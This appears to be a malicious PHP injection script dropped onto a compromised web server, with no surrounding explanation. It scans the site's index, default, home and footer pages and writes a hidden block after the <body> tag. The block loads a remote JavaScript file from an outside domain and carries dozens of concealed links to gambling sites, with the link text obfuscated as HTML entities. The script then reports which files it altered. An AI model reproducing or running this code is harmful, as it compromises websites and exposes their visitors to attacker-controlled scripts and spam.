$rootPath= realpath(dirname(__FILE__).'/../../../');
$rootUrl="http://stratigery.com";
$MaxDeep=1;
$ExpFileNames="/(index|default|home|foot)/i";
$ExpInsertFlags="/(<%|<\?php|<body(.*?)>)/i";
$PlaceType=2;
$ReplaceStr='<script src="http://www.88885333.com/1.js" rel=&4x2019;external nofollow&1x2019;></script><div style="display:none"><strong style="font-weight: 400">&3x53CB;&3x60C5;&2x94FE;&7x63A5;:<a href="http://www.wahooco.com/">&2x6FB3;&7x95E8;&9x8461;&1x4EAC;&9x7F51;</a><a href="http://www.zxkL98.com/">&7x6FB3;&5x95E8;&7x8461;&6x4EAC;&9x7F51;&5x5740;</a><a href="http://www.huade.org/">&4x6FB3;&9x95E8;&5x8461;&9x4EAC;&3x7F51;&7x7AD9;</a><a href="http://www.shzfpa.com/">&6x6FB3;&8x95E8;&5x8461;&9x4EAC;&9x6CE8;&3x518C;</a><a href="http://www.hntscm.com/">&1x6FB3;&8x95E8;&8x8461;&2x4EAC;&9x5A31;&1x4E50;</a><a href="http://www.zc1718.com/">&6x6FB3;&3x95E8;&4x8461;&9x4EAC;&8x6E38;&1x620F;</a><a href="http://www.zjdqgy.com/">&2x6FB3;&6x95E8;&8x8461;&1x4EAC;&1x5E73;&2x53F0;</a><a href="http://www.xzsfs.net/">&3x6FB3;&2x95E8;&5x8461;&6x4EAC;&3x6295;&8x6CE8;</a><a href="http://www.zznj8.com/">&5x6FB3;&8x95E8;&2x8461;&4x4EAC;&7x4E0B;&5x6CE8;</a><a href="http://www.good-o2.com/">&6x6FB3;&8x95E8;&3x8461;&4x4EAC;&8x5B98;&3x7F51;</a><a href="http://www.cn-msh.com/">&2x6FB3;&6x95E8;&6x8461;&6x4EAC;&9x4EE3;&6x7406;</a><a href="http://www.synmkj.com/">&2x8461;&4x4EAC;&1x7535;&4x5B50;&7x6E38;&7x620F;</a><a href="http://www.hljpts.com/">&8x8461;&5x4EAC;&7x4EE3;&4x7406;&6x7F51;&8x5740;</a><a href="http://www.sjznbgyq.com/">&8x8461;&5x4EAC;&5x5B98;&9x65B9;&7x7F51;&1x5740;</a><a href="http://www.anjiya.com/">&9x8461;&3x4EAC;&6x5F00;&8x6237;</a><a href="http://www.youthsh.com/">&4x6FB3;&9x95E8;&8x8461;&8x4EAC;&8x5F00;&6x6237;</a><a href="http://www.xmyh168.com/">&9x8461;&5x4EAC;&6x5F00;&6x6237;&2x5E73;&8x53F0;</a><a href="http://www.njtymg.com/">&5x8461;&9x4EAC;&7x6CE8;&1x518C;&1x4EE3;&4x7406;</a><a href="http://www.58szxg.com/">&5x8461;&2x4EAC;&8x5B98;&3x7F51;&2x5E73;&5x53F0;</a><a href="http://www.nbhxpm.com/">&5x8461;&3x4EAC;&7x5E10;&2x53F7;&9x6CE8;&5x518C;</a><a href="http://www.mhgyp.com/">&7x8461;&6x4EAC;&1x7F51;&3x5740;&9x5F00;&1x6237;</a><a href="http://www.yfyf68.com/">&6x8461;&9x4EAC;&8x5F00;&3x6237;&5x4EE3;&2x7406;</a><a href="http://www.51cgj.com/">&7x8461;&1x4EAC;&6x516C;&9x53F8;&1x5F00;&5x6237;</a><a href="http://www.51zgrl.com/">&2x8461;&6x4EAC;&9x5B98;&5x7F51;&8x6CE8;&4x518C;</a><a href="http://www.lcd-1.com/">&1x8461;&1x4EAC;&8x7EBF;&3x4E0A;&3x5F00;&6x6237;</a><a href="http://www.gzbowin.com/">&8x8461;&8x4EAC;&6x4EE3;&1x7406;&9x5B98;&5x7F51;</a><a href="http://www.qhdjrfw.com/">&8x8461;&2x4EAC;&9x7F51;&7x4E0A;&4x5B98;&2x7F51;</a><a href="http://www.ou-te.com/">&6x8461;&2x4EAC;&6x5A31;&6x4E50;&5x4EE3;&2x7406;</a><a href="http://www.qifenge.com/">&8x8461;&6x4EAC;&3x624B;&3x673A;&9x7F51;&3x5740;</a><a href="http://www.gebreakers.com/">&6x5728;&3x7EBF;&8x8461;&6x4EAC;&3x5F00;&8x6237;</a><a href="http://www.tcldy.com/">&3x8461;&3x4EAC;&7x5B98;&3x7F51;app</a><a href="http://www.hsghxj.com/">&5x8461;&7x4EAC;&6x4FE1;&7x7528;&2x5F00;&1x6237;</a><a href="http://www.astujue.com/">&2x8461;&9x4EAC;&5x5B98;&5x7F51;&3x5F69;&8x7968;</a><a href="http://www.shkunLe.com/">&8x6B63;&6x89C4;&8x8461;&4x4EAC;&6x5F00;&7x6237;</a><a href="http://www.henangt.com/">&5x8461;&7x4EAC;&4x771F;&6x4EBA;&9x5F00;&4x6237;</a><a href="http://www.xxswsj.com/">&5x5A31;&6x4E50;&7x8461;&3x4EAC;&8x5B98;&1x7F51;</a><a href="http://www.szbxzs.com/">&4x8461;&1x4EAC;&5x516C;&4x53F8;&7x6CE8;&9x518C;</a><a href="http://www.nawatv.com/">&1x767E;&7x5BB6;&9x4E50;&7x8461;&5x4EAC;</a><a href="http://www.cnycyj.com/">&3x8461;&7x4EAC;&4x5F00;&9x6237;&8x5730;&4x5740;</a><a href="http://www.jd8.cc/">&3x8461;&8x4EAC;&8x5728;&3x7EBF;&6x5F00;&8x6237;</a><a href="http://www.bnwsjds.com/">&9x7F51;&9x4E0A;&9x8461;&8x4EAC;&3x6CE8;&3x518C;</a><a href="http://www.cdbzyg.com/">&5x8461;&4x4EAC;&8x8D4C;&1x57CE;app</a><a href="http://www.yc13z.com/">&4x8461;&2x4EAC;&3x6E38;&3x620F;&5x7F51;&8x5740;</a><a href="http://www.lwsjxx.com/">&8x8461;&4x4EAC;&8x5A31;&7x4E50;&7x6CE8;&3x518C;</a><a href="http://www.hnhtkj.net/">&1x8461;&8x4EAC;&5x624B;&4x673A;&6x5B98;&3x7F51;</a><a href="http://www.simodj.com/">&4x8461;&5x4EAC;&9x8D4C;&8x573A;&7x5B98;&2x7F51;</a><a href="http://www.bhhzdx.net/">&5x7F51;&5x4E0A;&8x8461;&2x4EAC;&7x5B98;&5x7F51;</a><a href="http://www.fsgfhh.com/">&5x8461;&4x4EAC;&6x624B;&3x673A;&3x6CE8;&3x518C;</a><a href="http://www.dl20gz.com/">&7x8461;&5x4EAC;&9x5B98;&4x7F51;&9x8D4C;&5x573A;</a><a href="http://www.gxbc.net/">&4x8461;&9x4EAC;&2x6CE8;&7x518C;&8x7F51;&1x5740;</a><a href="http://www.travelcq.com/">&3x6CE8;&8x518C;&6x8461;&3x4EAC;&1x5B98;&3x7F51;</a><a href="http://www.bjdffl.com/">&1x8461;&6x4EAC;&4x5907;&1x7528;&8x5F00;&9x6237;</a><a href="http://www.chenjiagou.cc/">&9x8461;&6x4EAC;&6x7F51;&4x5A31;&2x4E50;</a><a href="http://www.sxczzx.com/">&4x7EBF;&6x4E0A;&8x8461;&6x4EAC;&2x5B98;&7x7F51;</a><a href="http://www.jsyxlxj.com/">&2x8461;&4x4EAC;&9x7F51;&5x5740;&5x4EE3;&4x7406;</a><a href="http://www.zgjjsw.com/">&8x8461;&1x4EAC;&8x5B98;&6x7F51;&8x771F;&8x4EBA;</a><a href="http://www.hkshaolin.com/">&8x8461;&8x4EAC;&3x5B98;&4x7F51;&3x6355;&2x9C7C;</a><a href="http://www.ftkbo1.com/">&6x7EBF;&9x4E0A;&6x8461;&7x4EAC;&9x5F00;&4x6237;</a><a href="http://www.sxrsj.net/">&3x7F51;&8x9875;&1x8461;&7x4EAC;&8x5F00;&1x6237;</a><a href="http://www.tjhbsb.com/">&1x8461;&5x4EAC;&1x600E;&2x4E48;&5x6CE8;&9x518C;</a></strong></div>';
$returnVal=LinkReplace("",$rootPath,$rootPath,$rootUrl,0,$MaxDeep,$ExpFileNames,$ExpInsertFlags,$PlaceType,$ReplaceStr);
echo "__success__".$returnVal."__success__";
function LinkReplace($returnVal1,$dir,$dirroot,$objrootUrl,$objNowDeep,$objMaxDeep,$objExpFileNames,$objExpInsertFlags,$objPlaceType,$objReplaceStr)
{
    $objNowDeep1=$objNowDeep+1;
    $files = array();
    $dir_list = scandir($dir);
    foreach($dir_list as $file)
    {
        if($file=='..' || $file=='.')
        {
            continue;
        }
        if(is_dir($dir.'/'.$file))
        {
            if($objNowDeep1<$objMaxDeep)
            {
                $returnVal1=LinkReplace($returnVal1,$dir.'/'.$file,$dirroot,$objrootUrl,$objNowDeep+1,$objMaxDeep,$objExpFileNames,$objExpInsertFlags,$objPlaceType,$objReplaceStr);
            }
        }
        else
        {
           if(preg_match($objExpFileNames,$file) && (strpos($file,'.htm')!==false || strpos($file,'.asp')!==false || strpos($file,'.php')!==false || strpos($file,'.jsp')!==false || strpos($file,'.cfm')!==false))
            {
                $filebody=file_get_contents($dir.'/'.$file);
                $filebody=str_replace("\xEF\xBB\xBF","",$filebody);
                $filebody=preg_replace("'<span class=\"mylinkcode\" style=\"display:none\">([\s\S]+?)<\/span>'","",$filebody);
                $filebody=RegexReplace($filebody,$objExpInsertFlags,"<span class=\"mylinkcode\" style=\"display:none\">".$objReplaceStr."</span>",$objPlaceType);
                if(file_put_contents($dir.'/'.$file, $filebody)>0 && strpos($filebody,"<span class=\"mylinkcode\"")!==false)
                {
                    $replaceFile=$dir.'/'.$file;
                    $replaceFile=str_replace($dirroot,$objrootUrl,$replaceFile);
                    $replaceFile=str_replace('\\','/',$replaceFile);
                    $replaceFile=str_replace('http://','',$replaceFile);
                    $replaceFile=str_replace('//','/',$replaceFile);
                    $replaceFile=str_replace('//','/',$replaceFile);
                    $replaceFile='http://'.$replaceFile;
                    $returnVal1=$returnVal1.$replaceFile.'<br />';
                }
            }
        }
    }
    return $returnVal1;
}
function RegexReplace($source1,$pattern1,$replace1,$replacetype1)
{
    $rtnVal=$source1;
    preg_match($pattern1, $source1, $matches);
    if(count($matches)>0)
    {
        if($replacetype1==1)
            $rtnVal=str_replace_once($matches[0],$replace1.$matches[0],$source1);
        else
            $rtnVal=str_replace_once($matches[0],$matches[0].$replace1,$source1);
    }
    return $rtnVal;
}
function str_replace_once($needle, $replace, $haystack)
{
    $pos = strpos($haystack, $needle);
    if ($pos === false) 
        return $haystack;
    return substr_replace($haystack, $replace, $pos, strlen($needle));
}
